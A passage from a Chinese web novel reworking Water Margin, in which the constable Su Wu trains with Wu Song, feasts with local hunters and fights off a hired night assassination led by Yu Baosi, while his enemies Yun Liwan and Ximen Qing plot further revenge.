“哦……”武松想了想,又说:“道理我倒是明白了,就是心中不快,那厮讹了钱财,我就不快……” “世间之事,多是如此。”苏武有唏嘘,武松心中,还真是是非黑白,分分明明,眼里揉不得什么沙子。 “若我做了恶人,我便一刀去结果了他,一了百了,帮人帮到底。”武松脱口而出。 苏武闻之苦笑,刚才还想武松骨子里本性极好……原来他心里还是住着一只野兽。 “哥哥,我说笑呢……”武松自己又笑。 “你这话,也没什么不对,若真是无法解决,无可奈何,也唯有此法了,一刀结果了去,一了百了。” 苏武也不是迂腐人,若是那张四拿了钱还不老实,还明里暗里不依不饶,还真就一刀结果了自在。 “嘿嘿……哥哥这话中听,正对我脾气,那就看张四那厮要不要自己找死了。”武松也听明白了,嘿嘿笑着,还拍了拍腰间的长刀。 董坚在一旁,却暗暗咋舌,自家都头如今是怎么了?以往不是这样的啊?说话间就要杀人性命? 难道真是打虎打出了什么脏东西? 或也是都头他经历一番生死苦战,看开了许多事? 应该是与那恶虎苦斗之后,都头如今,不仅是胆气大了,还更通透几分,想活出一些潇洒恣意…… 其实……其实挺让人羡慕的。 董坚又看了看苏武高大的身躯,便觉得此时此刻,自家都头当真是威武不凡。 回到衙门里,正常上值,处理了几个街头打架的事,也就没什么事了。 倒是衙门里的那只大虎不见了,显然是西门庆差了人来抬走剔骨割鞭去了,剔骨割鞭本也是技术活。 又在衙门里点了一下卯,衙门里内内外外,衙差拢共不过三十来人,其中还有一些是临时帮闲的。 摊子属实不大,而阳谷县近些年来靠着运河,是越来越繁华,人手早已不够,知县孟义却又是个抠抠索索之人…… 这老头啊,好坏说不清,但还真就是个真实无比的人,爱钱也是他的秉性,兴许也是因为他这辈子上升无望的缘故。 点卯之后,众人散去各做各事,董坚最忙,他属于是苏武手下最得力的人,还能识字。 这大宋朝识字率不算很低,甚至可以算是历朝历代识字率的巅峰,比几百年后的大清都高不少。 苏武与武松两人坐在衙门里,无事闲聊。 苏武有意说道:“某习练得一些拳脚,也不知是高是低。” “这有何难?哥哥与我比斗一番就是。”武松风风火火,已然在取头笠与腰刀,撸胳膊卷袖子。 两人便在衙门院子里打斗起来,倒也都收着力气。 就看苏武在场中蹦蹦跳跳,拳脚凌厉非常。 武松应对几番之后,已然觉得颇为吃力,便是不再收力气,大拳大脚大开大合。 就看两人一时拳脚相拼,一时滚地互扑。 武松有点评:“哥哥这架势着实奇特,却是拳脚又准又狠,技艺上也是高明得紧,就是觉得哥哥思路极多,却有几分保守多虑,不得全力。” 苏武点着头:“我学得倒是多,练习也不少,只是与人街斗极少。” “对对对,我刚才看哥哥扑来,一手在上一手在下,还翻身缠脚,定然是有奇招,正待见识,只可惜哥哥动作并不爽辣,被我轻松化解,哥哥缺了几分……真正的凶悍与笃定。” 苏武自己知道,刚才他想做个十字固,没做成,武松就能推敲出这么多来。 武松,当真是绝顶的高手,竟是这般还看得出门道。 “是啊,有几分束手束脚,便是心中没底气。”苏武点着头。 “无妨,哥哥技艺应是绝顶的好,只是历练少了,多几番厮斗,必然战力不凡。每日我随着哥哥厮斗几番就是。” 武松还有几分激动。 苏武便是又说:“我也还想学学诸般长短兵器……” “好说,我能会的,样样都教得哥哥也会。”武松摆着胸脯,那是爽快非常。 就等武松这句话了,这个时代,得有一身本事,能保命。 武松已然回头在台阶上抽来长刀,左右来舞:“哥哥,就说这腰刀啊,你看这刀,这般使来,便是个缠头裹脑,乃防守之法,这般你看……” 苏武在一旁看得认真,也取来腰刀,真学! 一学就是一个来时辰,就听门口衙差来报:“都头,那猎户李成来了,说是安置好了家中嫂嫂侄儿与老母,前来报答都头大恩。” “让他进来。”苏武答着。 就看那小伙子奔了进来,山里汉子,十六七岁,也生得个膀大腰圆。 李成见得苏武,激动不已,正要上来拜见。 苏武大手一挥:“取柄刀来,与我一起学。” 李成倒也不愣,只点头:“是。” 第17章 他苏武算个甚么物什? 苏武练刀,认真非常。 苏武是知道这个时代即将一步一步走向乱世,逼着自己必须练。 半大少年李成心中,只想一件事,那就是不能让都头看轻了,既然往后跟在都头身边走动,那就一定要做出个人样来。 武松教得也是认真,越教越认真,还说:“哥哥习武的禀赋当真是好!这小子也不差,体格子着实不错,悟性也跟得上。” 运动这件事,还真是要天赋的。 只待天色慢慢暗了一些,三人便也停了下来。 武松也还有交代:“哥哥这副体魄已然强健非常,习武便是要日日不辍,便也是越强健越好,吃肉,日日吃肉。这小子也是一样,本也有副好骨架,又正是长身体,更要多吃肉。” 穷文富武这句话,显然有一定的道理。 “上街买肉。”苏武执行力极强。 三人并上董坚一起下值,先在街面买了十斤肉,又买上酒,再买几个小菜,直往苏武的新房去。 倒也不必弄个什么乔迁之喜的仪式,几个人吃顿酒肉便是了。 怯生生的小厨娘只看得家中几个大汉,莫名有些害怕,听得吩咐就在厨房里烧火煮肉,看都不敢出来看。 也不要什么厨艺技巧了,切开煮熟加点盐,江湖好汉,就这么吃。 苏武也吃得进去,至少还有盐,他甚至也吃过某种健身餐,连盐都不放。 武松忽然问起李成:“你这小子是猎户人家,都会些什么技艺啊?” 李成只答:“小的会射,弓弩皆熟,猎弓,百十步,十能中九,若是弩,便是乡下土弩,一百多步外,指哪里射哪里。” 武松闻言一惊:“你竟还有这般技艺?” 李成愣愣点着头,不似胡言。 苏武也转头来看,只说:“极好,明日你便也到衙门里登记造册,衙门里有强弩,你领一张去。” “是。”李成还真就是个报答恩人的心态,对苏武的话语,只管点头就应。 一旁董坚说道:“明日里,我便帮他办了就是。” “吃酒吃酒……”武松最喜这碗酒。 四人天南地北扯着,武松说自己学武艺的事,说少年逞勇斗狠,说柴进庄子里都是一群蝇营狗苟之辈…… 董坚说家长里短,说衙门里的一些事,也说一些近来阳谷县的八卦。 少年人李成几杯下肚,也打开话匣子,说起山里打猎…… 苏武多听,微微笑着…… 男人,就得几杯酒下肚,若是投机,明日起来,便是个亲密无间。 却是有人夜里还在赶路,打马飞奔在阳谷县与东平府之间的官道上。 早间就进了东平府的城门,一个时辰之后,又打马飞奔往阳谷县回。 大早,董坚先去衙门,苏武、武松、李成三人却先学艺,那小厨娘也不多说话,只管领了主人的钱,就上街去买菜…… 主人也说,买些布料,买些被褥,锅碗瓢盆也要,反正很多,带不回来就雇辆牛车…… 对于苏武而言,眼前难得碰上武松这般世间顶尖的战力,学武就是最大的事。 至于早饭,武大早早就带着一脸憨笑来了,便是新房他都摸得门清。 下午半晌,西门大官人从东平府回来了,先去见云理万。 “见到了?”云理万问。 西门庆连连点头:“见到了,好大一条汉子,当真凶神恶煞,连他麾下之人,也是一个个膀大腰圆。” “那是自然!”云理万满脸是笑,也有几分得意。 “他们说,明日黄昏就会入城来,最好当夜就把事情做了,因为他们还要急着往北去,不愿耽搁时日……” 西门庆汇报着。 “这么急?也好,这事还是交给你,你先找个地方让他们落脚,隐蔽一些,行踪不能露,然后你带郁保四去认人,其他的你就不用管了。” 云理万还真不是没有手段的人。 “明白。”西门庆微微躬身,事情还未发生,他便心中觉得有几分快意。 只因为他亲眼见了那郁保四,郁保四还真就不是一般人物,这回,苏武,必死无疑。 想到必死无疑,西门庆便更觉得心中又多几分快意。 从云理万府中出门来,西门庆还有一桩心中急事,只管往阳谷县有名的媒婆家走去。 媒婆姓薛,人称薛嫂。 进门西门庆就问:“事情如何了?那娘子如何说?” 薛嫂稍稍皱眉:“官人,倒是有些变故……” “怎么就有变故了?”西门庆闻言就急。 “上次去,倒也都说得好,老身还说什么时候让官人上门去见见,她也不曾有真正拒绝之语,今日午后再去,却好似不那么热络了,老身只管把官人说得天上无有地上一个,她也似并不……多言……” “怎么回事?你可是收了我不少钱的,这事你若办不成……”西门庆这辈子,最急的事,就是女人。 薛嫂又笑:“官人莫急,老身在阳谷县,那是有口皆碑,什么事不都得是个一波三折吗?好事多磨。” “你就说还要多少钱?”西门庆大手一挥。 薛嫂还是慢慢来答:“官人,钱呢,自是要的。但这也并非全都是钱的事,那孟雨楼无依无靠,偌大家业左右被人盯着,一天到晚担惊受怕,自是想寻个真心能依靠的人,这阳谷县里,除了官人,还能有谁?” “继续说……”西门庆稍安,也是那孟玉楼,美貌不凡,这倒是其次,家资巨万,这才是主要。 “老身去打听了,官人道是如何?”这媒婆拿捏西门庆也是不在话下,还要卖关子。 “说……”西门庆懒得计较,直接从袖子里掏出一串钱来。 薛嫂接过:“说是昨日,那县里的苏都头帮她驱赶了张四,那娘子啊,直把苏都头送到门口还舍不得回呢……” “谁?”西门庆眉眼一张。 “县衙,苏都头,就是那个在景阳冈上猎大虫的苏都头。那娘子想来是以为有人靠了,所以才听不进老身的话语,这事吧……还得官人出手,老身这里倒是有一计。” 就听西门庆咬牙切齿:“又是他!” “啊?官人与那苏都头有仇怨?这般更好了,老身这一计啊,还怕你们伤了脸面呢。”薛嫂还卖关子,只等西门庆问计,不免又要打发一些钱来。 却是西门庆摆摆手,冷冷一笑:“他苏武是个甚么物什?也敢与我西门庆抢女人,倒也不必你的计了,我自有计较。” 说完,西门庆出门就去,薛嫂还追一步:“官人啊,老身这里还真有好计哩……” 西门庆哪里还答?旧仇还未去,新仇又来,云理万还未想杀人性命的事,只想个手断腿折。 西门庆心中,苏武只是明晚横尸街头的死人。 第18章 敬哥哥一杯! 又是大早,苏武依旧先习武,再吃了武大顺路送来的炊饼,再去上值。 李成也在衙门里混了个脸熟。 苏武在等人来,也是李成说,今天猎户们要进城卖皮货,几十号猎户都约了一起来,便是都要来拜见苏都头当面。 家中显然招待不了这么多客人,那就只有去酒楼了,狮子楼,本地最好的酒楼,早早去订了座。 狮子楼,本也是故事里西门庆的葬身之地。 钱,苏武是舍得花的,这个时代,钱没了可以再赚,只要有人,什么都不愁。 只待到得午间,时候差不多了,苏武直往狮子楼去等,也安排酒菜。 李成在衙门里等,只等人来了带路去。 午时刚过了,狮子楼里就是个人满为患,六七桌的酒菜,也是哪样好上哪样。 苏武面前,那是堆得满满当当,六七十号汉子,每人都带了几样礼物。 上好的皮子就有几十张,松鸡麻兔一大堆,山里的果子几箩筐装不下,还有几捆好直木,说是给苏都头带衙门里去,都是好材料。 有的可以做个水火杀威棒,有的可以制一杆好长枪,有的还可以做刑具。 便是这些东西从山上抬下来也是个大工程。 苏武也并不拒绝,只是连连起身与众人拱手:“多谢诸位兄弟!” 林卯连忙起身回礼:“诶,都头说的哪里话,都是些不值钱的东西,往后都头若是真的哪里用得上我们,那才是好呢。” “是啊,都头,您瞧得上我们,我们岂能对不住您?” “都头,往后山里的东西,只要都头想要,我如何也给都头取来。” “对对对,就怕都头不要呢。” “就怕都头不与咱们开口……” “众兄弟坐,都坐,今日你们来,便是看得起我苏武,酒菜不丰,吃好喝好。” 林卯已然不好意思:“来的时候就说,怕是这么多人,都头又要破费,果然如此,本就想着来几个人就行了,架不住兄弟们都想来……唉,还是让都头破费了……” “一顿酒菜,不值几个钱,你们不也送了我这么多东西吗?”苏武笑着。 “这哪能比?便是这狮子楼,我从来只路过,不敢想进来……”林卯一脸的抱歉。 “好了好了,兄弟之间,不说这话,吃酒,来!”苏武先拿酒盏,就是个一饮而尽。 众人纷纷举杯:“敬都头!” 苏武忽然大手一挥:“既是如此投机的缘分,也就不要称什么都头了,实在显得生份见外,只管叫一声兄弟之间的话语来,如此我心中更是欢喜。” 林卯愣了愣,回头去看众人,又回过头来,还有几分小心翼翼:“那……称一声哥哥,如何?” 众人也是一脸的小心翼翼,既怕都头看不起,又怕话语有唐突。 “好!最好不过!诸位兄弟,干了此杯!”苏武再是一饮而尽。 “敬哥哥一杯!”林卯带头一喊。 众人随之也喊:“敬哥哥一杯!” 武松只在一旁看着嘿嘿笑,就这般局面,不知比那柴进庄子里的所谓江湖好汉们勾心斗角爽快多少? 一旁李成也是感动不已,只觉得眼前哥哥,当真是看得起他们这些乡下猎户。 苏武只管吃酒,更是来者不拒,一个个的来,即便不满饮,苏武也会吃上一大口。 一旁武松也知道哥哥酒量高低,差不多时候了,也上前来挡,只管一盏一盏往肚子里灌。 越灌越是高兴,口中还有话语:“爽快!” 从小到大,好似就这顿酒吃得最是爽快。 只待午时过完,场面还是热闹非常,苏武已然在一旁呼呼睡起。 武松自是个大杀四方,李成还真不多饮,只是看着这场面微微笑着。 临了,林卯拉着武松的手:“你与哥哥说,说我等过些时日,还来,不……这样,我等回去准备,寻个哥哥闲暇时候,请哥哥往山里一趟。” “好好好,哥哥醒了我便与他说。”武松也有七八分醉意在身。 “那我们回了,路还远呢,黄昏时候得到家中,夜里山路难行……”林卯拉拉扯扯,便也是要回去了。 “好说好说,兄弟们路上小心就是。”武松替苏武把人往外送。 只待人都送走。 李成左边扶着半梦半醒的苏武,右边就要去扶武松。 武松大手一挥:“我就从来不曾醉过。” 武松要自己走,倒是也能走,只是有几分摇摆。 苏武幽幽转醒:“回家,回家!” “好勒。”李成答着。 三人到家,一个小娘,只管赶紧去烧水,烧了水又端来面前,给自家主人又取来布巾。 苏武双眼迷离坐起,便问:“你唤个什么名啊?” “奴家冬欢……”怯生生的话语。 “没个姓氏?”苏武又问。 “没有……” 真正的最底层的苦命人,爹妈是谁都不知道,又哪里来的姓呢? “那就姓个苏吧……”苏武舌头也大。 “拜谢主人赐姓。”小娘当真跪地就拜。 “嗯,好……来,你来帮我擦。”苏武在座椅上歪歪斜斜一靠。 怯生生的小娘当真拿起布巾上前去擦。 一旁还有武松:“哪里这么麻烦,只管打桶水来往身上一浇就是了……” 李成在一旁笑:“哥哥自是与你不同的……” 武松自顾自打水来浇自己,还把一身山包一样的腱子肉露了大半。 李成还去帮他抬水…… 弄好之后,也不管那么多,苏武先往厅中榻上一躺,武松便也就躺在旁边,两人隔着榻上一个小几,一左一右,便是呼呼大睡。 李成坐在一旁,嘿嘿傻笑,小厨娘忙里忙外还要收拾。 这大宋的日子,好似就这么过起来了。 只待苏武再一睁眼,已然入了夜,起身看看天边,入夜有一会儿了,一旁武松还呼呼在睡。 显然,武松比苏武喝得多太多了。 只感觉凉风稍稍一来,苏武身形抖了抖,是有几分凉意,便到门口说道:“小成啊,取个被褥来。” 李成就在院子里,点头只管去取。 就听得哪里有一声轻响,嘎吱…… 苏武微微抬头去看…… 一个巨大身影从天而落,稳稳落在小院之中。 第19章 好汉饶命! 就看那巨大身影从空中落下,又是几声嘎吱,再落五人,个个身强体壮。 小小的院子,陡然好似被站满了一般,黑漆漆的一片,来人六个皆是夜行黑衣在身,黑布蒙面。 但,来人手中明晃晃的刀却能在月光下照出几分寒意与杀气。 苏武倒也不愣,反应极快,身形往后一退,已然就在厅堂门口,开口就问:“何人?” 那巨大身影往前走了一步,当真答话,话音沙哑骇人:“苏都头当面,有人要你的命,让我等来取,当真是对不住了。” 这倒也不算意料之外,也不必多猜是谁,苏武只问:“多少钱?” “你的命,五百贯,还有一个添头,他的命,一百贯。”巨大身影手持一柄大朴刀,又往前走了一步,倒也是自信非常。 就听苏武身后来了一人,问了一语:“谁是添头?” “哈哈……你就那添头。”巨汉答道。 显然武松已然醒了,当真机警非常,听得自己是个添头,立马就怒,好似一步就要跨过苏武出得厅堂去。 李成抱着被子也出来,苏武立马说道:“小成回去,不要让冬欢出门来。” 李成倒也听话,抱着被子转身又进了屋。 那巨汉便说:“还有两人?那倒也不收钱了,算送的。” “不知好汉尊姓大名?”苏武再问,好似心中一点不慌。 本是黑布蒙面的巨汉,再往前走了一步,已然就把厅堂门口笼罩在他手中的大朴刀范围之内。 随后他把脸上黑布一扯,露出两米多高的那张脸,脸上胡须炸裂,横肉左右。 那巨汉也当真答话:“倒也不是非要藏头露尾,只是那出钱的人过于谨慎,不怕让你知道,爷爷郁保四,江湖上称一声‘险道神’便是爷爷了,做了鬼,别报错了名号。” 险道神郁保四? 水浒故事里,未来梁山排座次,一百零八将里,郁保四在第一百零五位,上应地健星。 陡然就碰上了,看来这人在江湖上还真有极大的能耐,难怪自信如此。 这般江湖大盗,夜杀一个县衙小小都头,自是该这么自信。 “什么狗屁险道神,猪狗之辈尔,也敢来当我的爷爷,我看你如跳梁小丑,不过是手下一个亡魂!” 武松已然怒极,早已回身榻前,取来了腰刀,满口还有酒气,站在哥哥苏武面前,还等哥哥一声令下。 再看武松半裸身躯,满身腱子肉绷得紧紧,好似都要从皮肤里炸裂开来,弓身持刀,似虎似豹,只等一跃爆发而出。 苏武却说了一语:“山东地面,多好汉啊!” 郁保四朴刀本是单手,此时换得双手持握,把刀横在身前,回头一语:“尔等堵住左右,让我一个一个来杀!” 此时,就看苏武一步出了厅堂,站在台阶之上,更看武松立马跃出,只喊一声:“聒噪得紧!” 有腰刀出鞘,县衙里的制式腰刀,实在是低劣非常,甚至打磨得也不甚锋利,照不出月光里的几分寒意。 就看武松去,也看郁保四双刀挥刀起,自信大喝一声:“好胆!” 叮! 双刀交错在空中,火星四溅。 郁保四身形一顿,武松也是当场站定,两人体型相差极大,却是硬拼一招,武松并不落下风。 郁保四双眼一睁,似乎有几分吃惊:“这添头还真有几分本事。” 武松话语没有,只是看了一眼出现了一个大豁口的腰刀,立马动身再起,速度快捷无比,虎豹不可及。 就看黑夜里火星再溅,那郁保四再是身形一顿,低头去看,看那武松就在他脚下就地一滚…… 郁保四何等江湖人物?立马心中大急,反身朴刀再砍,只为去逮住翻滚在地的武松。 “啊!!!” 都在瞬间,就听郁保四一声惨叫,身形一软,已然单膝在地,两米多的巨汉,跪得只有一米七了。 翻滚而去的武松,却是站得直直,腰刀上一片血红。 “就这几分能耐?只靠个身形唬人?”武松出言就笑,还把刀甩了甩,甩出一片血滴,似并不急了。 再看郁保四,右腿之后,腿肚子处,已然是一片鲜血淋漓,郁保四反应也快:“并肩子上!” 五个黑影直奔武松去,五把长刀,每一柄都显得锋利无比。 苏武早已也是腰刀在手,上前扑去,搏命之时,豁出去了,更不能教人看轻。 就听得黑夜里噼啪嘭嘭,一阵乱响,还有几分抓耳挠心的兵刃“吱吱”摩擦…… 已然是两个黑衣人倒地,苏武往前扑去,刀法不熟,只是个缠头裹脑先护住自己,提腿飞踢,速度也是快如闪电,再击一人倒地。 倒地也不管,持刀上前,连连两下劈砍,血花在黑夜里并不妖冶,苏武只感觉自己脸上被喷溅得一片湿热。 霎时间,惨叫连连,街面之上,立马也有狗吠不止,不知多少睡梦中的人此时惊醒。 回头再看,那郁保四竟是又忍痛站起来了,巨大的朴刀回头就是横扫。 苏武第一次真正这般杀人,只有下意识的战斗嗅觉,也是个就地一滚,抬刀往郁保四的腿脚去砍。 郁保四立马往厅堂方向后退去躲,此时此刻,他才反应过来,一个正主,一个添头,竟是如此了得。 一个五百贯,一个一百贯! 这他妈是被人坑了啊? 就看苏武持刀不等站起,又是直接跳跃而来,腰刀高高举过头顶,这两日与武松学得不多,就学了个大开大合,劈砍奋力,力劈华山。 郁保四腿脚不便,更是后退,把朴刀举过头顶来挡。 噹! 金铁交击,火星瞬间能照亮两人脸庞,苏武把郁保四的脸看得清清楚楚,他脸上起了惧怕。 郁保四的眼中,已然不仅是苏武,还有武松,就在这瞬间,武松已然又是连杀两人转头来了。 六个人,陡然就剩下郁保四一人。 只看苏武满脸一片红,举刀,再劈! 也看武松,半裸身躯,满身是血,目露凶光,转身也来! “好汉,饶命!” 郁保四几乎是下意识喊出了这一语! “阎王认得你,爷爷的刀认不得你!”武松在后一声怒吼。 就看头前,苏武的刀已然劈砍而下。 第20章 对,哥哥说得对! 却看苏武本是直上直下劈砍的腰刀,忽然在空中变了方向,直往郁保四手中的大朴刀砸去。 又是一声交击,郁保四已然跌坐在地,手中的大朴刀也脱手而出,便是在厅堂门口的台阶上坐得稳稳当当。 再看苏武站定抬手一拦,拦的是身后跃来的武松:“二郎不急。” 武松脚步一止,看了一眼跌坐在台阶上的郁保四,还问:“这般也能在江湖上混出名号来?” 苏武转头看了看武松,心中有笑:二郎啊,不是人家不行,是你不知道自己到底有多么凶悍。 “饶命饶命,好汉饶命。”郁保四坐在地上,双手连连在拱。 其实苏武也有几分意外,再怎么说也是未来的梁山好汉,怎么也应该是视死如归之辈啊? 看来这梁山好汉,其中许多人水份不小。 也是苏武不知,这郁保四还真就是反复之人,故事里,他就是这么多次反复。 他一会儿抢梁山的马,一会儿又投曾头市与梁山为敌,一会儿见势不妙又投了梁山,又在曾头市给梁山做内应,转过头来,又帮梁山去东平府劝董平投降,如此才搭上了梁山最后一趟车。 此时苏武腰刀一收,说道:“我问你几个问题……” “好说好说,背后指使之人不敢相瞒……”郁保四哪里会不知道如何保命? 苏武却摆摆手:“这事不必你来说,我问你,你这厮,以往做个什么营生?” “小人贩马为业,从北边贩马来,多供在东平府中,小人与东平府的兵马都监董平董将军也有照面……” 郁保四立马答道,更知道保命这件事,还得要显出自己的作用来。 “贩马?从哪里贩?”苏武再问,武松在一旁,只等哥哥问话。 “啊?这……辽人那里……”郁保四知道这事也是大罪,但也不得不说了。 这事,有些怪,按理说辽人不可能卖宋人马匹。 但也合理,宋辽几十年不战了,双方在边境还有互市的榷场,走私这种事,历朝历代哪个都防不住。 “你这门路还真不错,既是贩马,怎么又干起收钱杀人的勾当了?”苏武夸了一语,郁保四是个人才,难怪将来能在梁山上有座位。 郁保四立马叹息一声:“唉……这不……怎么说呢,苏……苏都头,咱贩马也要人照应不是?马匹非寻常物,要卖上价钱,自也要好买家不是?东平府上到董将军,下到各地参军,都有照面的……” 主要还是被人坑了,他若是知道苏武与武松是这份悍勇,别说五百贯,一万贯也不来干了。 苏武听得明白了,连武松都听明白了,便是开口怒骂:“云理万这厮怕是找死不成!” 苏武继续问:“此番事败,你如何应对?” “事败也不能如何了,便是技不如人,还折损了五个弟兄……也没什么好交代的了,也如这位武兄弟所言,他自还要找死,再去寻旁人就是……” 郁保四左右看了看,一脸心疼,可见这五个弟兄,也是他心腹之人。 不过倒也是稍稍心安,郁保四久经江湖,知道自己今夜大概率死不了。 此时李成出来看了一眼,见得满院尸首,到处是血,竟也不怕,而是问了一语:“哥哥,冬欢吓住了。” “就让她一直在屋里别出来看,只待衙门里来人处置好了再让她出来……”苏武回应。 “哦,好。”李成又入了屋,屋里还多有几声安慰。 武松此时插了一句嘴,正问郁保四:“爷爷问你,爷爷我是不是添头?” “不敢不敢,我也着实是被人哄骗了,兄弟这一手武艺,天下少有,世间少有如此好汉!”郁保四虽然是恭维之语,但一句不假。 “哼哼……”武松冷冷一笑,心里舒服多了。 转头来,苏武好似想定了什么,与郁保四说道:“你认识董平?” 郁保四连连点头:“认识认识,董将军多买我的马,便是我的马最好,他也不同其他州府军将,他是真买马,真治军,其他州府军将处,还卖不出多少马去。” 苏武点点头:“你便走吧,去回那幕后之人话语,就说今日事败,你一人得逃。来日啊,我自会寻你,往何处寻啊?” “本是准备北去贩马,此番唯有回东平府去养伤了,都头若是来寻,只管往东平府车马行里来寻就是,今日侥幸一命,都头但有吩咐来,不敢不从。” 郁保四连连在说,便是知道自己这条命,彻底保住了,只是从此得罪了眼前这个实在不该得罪的人。 往后要想在周遭州县还有营生,必是只能唯命是从。 也是郁保四今夜明白了,什么云理万西门庆,与眼前两人比起来,着实比不得。 苏武笑着:“嗯,你倒是上道,来日啊,我要杀人也找你。” 苏武之语,笑着说,但不是玩笑,苏武显然真要杀人,要利用郁保四来杀人。 “好说好说……”郁保四连连拱手。 “你去吧,莫让他们等急了,我这也要去报官,你可赶紧想办法出城去。”苏武大手一挥。 郁保四便是腿脚再疼,也得立马起身,几步去摸那院门的门栓,地上五具尸首,他还是看了一眼,摇摇头,叹息出门。 “小成,去报官。让衙门里夜值的兄弟们都过来,仵作也请来,也当让知县相公得知。还报往参军府知晓,让守城的军汉都过来看看,看看他们都是怎么巡夜的……” 苏武大声吩咐,李成便也出门,还说:“哥哥,我去衙门顺便把弩领在手边。” “行,以后都带着。”苏武点着头。 苏武与武松两人,此时也坐在厅堂门口的台阶上,互相看了看各自满身的血。 武松只说:“哥哥,其实……杀起人来,也畅快呢!” 这是什么话? 苏武笑着说:“我倒是第一次这般杀人。” “其实我也是。”武松也笑,又说:“什么江湖好汉,不过一堆臭鱼烂虾罢了,便是柴进府中一个个自吹自擂如何了得,也是如此而已。以往每每听得人说什么江湖好汉,我还心生向往,如今想来,不过是年少无知。” “不是他们弱,是二郎你太强。”苏武笑道。 “是吗?哥哥当真这么想?”热血青年武松,神采飞扬。 “当真,其实也怪我,该反思反思,咱们啊,以往还是少了几分狠厉。”苏武真在反思,今日这事一过,往后,必然要更有几分心狠手辣才是。 这个时代,人不狠,立不稳。 武松只管点头:“哥哥说得对,有人要咱的命,咱就要他们的命。” “不,往后还要学个先下手为强,下手慢了,不免教人暗算。”此时此刻,苏武才真正进入了一种乱世为人的状态里。 “对,哥哥说得对!”武松只管连连点头。 (诸位大佬,打发张月票吧,投资一下吧,感激不尽!躬身拱手来拜诸位了!) 第21章 只听说水泊梁山起了大贼 已是深夜,街面上却又热闹起来,左右不知多少人家掌灯出门来看。 衙差来来往往,军汉也是挤得满满当当。 一具一具的尸首从苏武的家中抬出来。 街面上早已是议论纷纷,却又不敢当真大声,只敢轻声细语。 “竟然是如此上门杀人,当真没想到啊。” “唉……苏都头今夜凶险啊,往后怕是也难了,当真是得罪了不该得罪的人。” “你知道这幕后黑手是谁吗?” “谁不知道?你不知道?哼!还能有谁?” “唉……苏都头当真是条好汉子,只愿苏都头能安稳渡过此劫才是……” “明枪易躲暗箭难防啊,这一次不成,怕是必然还有下一次。” 就看一辆车架从街道远方慢慢过来,便有人大喊:“知县相公来了。” 知县相公当真来了,近前正在下车。 苏武也出门来迎:“相公这半夜何必又亲自跑一趟呢?” “本官到得阳谷县也有数月了,竟是发生如此大案,若是不亲自来,教百姓们如何看待?” 孟义边说着边进门。 尸首都抬往衙门了,有衙差正在冲洗院里地面。 孟义直入正厅落座,也看着苏武满身是血:“看来你既有一身好胆气,也有一身好武艺。” “侥幸而已。”苏武答道。 “你我之间就不必客套了,想来你也知道是谁?”孟义问着。 苏武点着头:“倒是不必多猜。” “那你准备如何应对?”孟义又问。 苏武先是想了想,又看了看孟义,忽然说道:“杀人不过头点地,他们要杀我,我自也要杀他们。” 说完话语,苏武只等孟义反应。 “唉……有些人好杀,有些人不好杀,也不便杀,杀完还麻烦不小。”孟义倒是也说得直白。 好杀的,比如西门庆之类,云理万便是那不好杀的,朝廷军将若是被人刺杀,必然引来极大的反应。 且不说别的,董平怕是也要亲自来督促破案之类。 苏武与云理万之间的仇怨,本也不难调查,到时候,苏武必然惹得一身骚。 却听苏武说道:“不论如何,终是不能任人宰割,今日此事已然是侥幸,若是下次,只怕就是个身首异处了。” “听说走脱了一个?”孟义问。 “走脱了一个大汉。”苏武点头。 “今夜全城搜捕,明日啊,你就去一趟东平府的公差吧,且看你自己的造化。”孟义算是出了主意,但并不真参与什么。 “多谢相公。” 孟义起身就走,亲自来看一趟,已然就是多看重了几分。 家中处理到半夜,总算是弄了个干干净净,死了人的宅子,苏武倒也不怕,该睡还是睡,当然也要先洗洗。 参军云理万的府中,正也是焦头烂额。 西门庆早已心急火燎也赶来了,就问:“参军,竟是当真未成?” 云理万便也骂:“平日里,都说自己武艺高强、手段高超,江湖上杀得这个杀得那个,真到用时,一个小小县衙都头也斗不过……” 西门庆一脸震惊:“参军,不应该啊,那郁保四近丈的身躯,几人的腰围,怎么可能斗不过那苏武?” “哼!”云理万头一摆,再说:“若不是本将私下与他出城去,他此时怕是已然被那些衙差拿去了。” 西门庆这时才真的相信郁保四失手了,心中更是震惊,只问:“参军,那……这可如何是好?” 云理万却看西门庆,见西门庆还真有几分慌张模样,便是一声呵斥:“慌乱什么?” 西门庆连忙解释:“倒也不是慌乱,只是……如今整个阳谷县都知晓咱们与那苏武的仇怨,若是那苏武死便也罢了,旁人便也说不得什么,如今未死,他怕是……” “怕什么?怕他杀你啊?”云理万问道。 西门庆吞了吞口水,着实没想到那苏武是这般凶人,如今已然如此了,怎么也得想办法把这件事给解决了。 便说:“参军,可再寻更厉害的人手来吗?” “更厉害的,上哪去寻啊?”云理万也问,他是一个朝廷参将,又不是走江湖的人,认识郁保四是因为郁保四做的那份买卖。 其他那些真正的江湖凶恶贼寇,他当真也认识不来。 西门庆知道,如今之计,唯有再寻强人了,必须要一条道走到黑去,便也脑子飞快在转。 然后慢慢说:“近来只听说……郓城水泊梁山那边起了大贼……” 阳谷到郓城,其实很近,便是道路蜿蜒,也不过一百多里地,也算是邻近州县,近来郓城那边倒是热闹非常。 又是有人劫了梁中书的十万生辰纲,这案子在周遭那是闹得沸沸扬扬,又是查出了这伙贼人,贼人又走脱了去,便上了水泊梁山,也还听说梁山上起了火拼,换了主人。 后来也听说郓城有名的及时雨宋江宋押司,陡然就背了人命案而逃…… 云理万只问:“你识得他们?” 西门庆连连摆手:“我哪里敢识得这般朝廷要犯……” “那你说什么?”云理万没好气一语。 “要不……” “有话你就说!”云理万脾气已然真是不好,今夜事败,便是如坐针毡、如芒在背、如鲠在喉。 “要不我去走一趟试试?”西门庆无奈,也只能这么想办法了。 云理万陡然坐直,皱眉一想:“可以,你去可以,但只以你自己行事,莫要说有本将在后,至于是要钱,只要事成,多少钱本将也允得出去。” 事已至此了,那也就只能不惜一切代价了。 西门庆砸吧了一下嘴巴,只管点头:“遵命就是。” “此时街面衙差不少,再开城门让你夜半出城怕是教人看见,只待大早你就去,赶紧寻来人,快去快回,以免夜长梦多。” 云理万是真的睡觉都睡不安稳了,那苏武比江湖大贼郁保四还凶,真怕这般人不管不顾,更怕有个万一。 西门庆便也出门去,正要往家走,忽然想了想,又不往家去了。 为何? 便是觉得那苏武若是一时激愤,上门来寻仇可如何是好?这些事,那苏武用膝盖去想,也知道仇人里有他西门庆一号。 不回家这半夜去哪呢? 忽然想起一人的几句话来,便往那里去。 第22章 三娘真是会夸人呢…… 只待西门庆寻到地方,正是那媒婆薛嫂的家门口,敲门几番才进了院。 